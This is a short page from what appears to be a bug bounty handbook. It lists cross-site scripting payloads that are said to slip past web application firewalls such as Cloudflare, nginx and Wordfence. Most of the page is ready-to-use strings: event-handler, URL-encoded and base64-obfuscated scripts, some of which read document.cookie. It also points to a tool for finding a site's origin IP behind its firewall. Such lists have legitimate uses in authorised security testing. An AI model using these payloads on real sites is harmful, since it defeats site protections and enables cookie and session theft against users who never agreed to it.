> For the complete documentation index, see [llms.txt](https://gowthams.gitbook.io/bughunter-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gowthams.gitbook.io/bughunter-handbook/list-of-vulnerabilities-bugs/cross-site-scripting/waf-bypas.md).

# WAF Bypass

Cloudflare XSS WAF Bypass:

```
Cloudflare XSS WAF Bypass 

<svg onx=() onload=(confirm)(1)>

New CloudFlare XSS Bypass! 
<svg onload=alert%26%230000000040"1")>

<svg onx=() onload=window.alert?.()>

XSS payload to keep on your notes:

<script>alert(1)</script> -> nginx block

"><img src=x onerror=alert(1)> -> Wordfence block

ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -> successful execution

"Onx=() AutOfOcUs OnfOCuS=prompt(document.cookie)>

Bypass Cloudflare payload #bugbountytips #infosec #bugbounty

Bypass Cloudflare XSS payload

"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;

#Cloudflare block alert() ,prompt(), confirm()? Just use another function to trigger #XSS lol Smiling face with open mouth and cold sweat

Payload: document.write(atob(`PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==`));


```

![](/files/-Mkp3u7jL5W6Fz3xQnup)

Find IP behind WAF,

![](/files/-Mkp7R08NrY8EJdz2hfE)

* <https://github.com/pielco11/fav-up>

{% embed url="<https://twitter.com/htrgouvea/status/1381601017511477249?s=20>" %}

{% embed url="<https://twitter.com/NetClinch/status/1474033050543476737?s=20>" %}

{% embed url="<https://twitter.com/Mah3Sec_/status/1470857654243246083?s=20>" %}

* <https://www.gabriel.urdhr.fr/2024/11/20/xss-bypass/>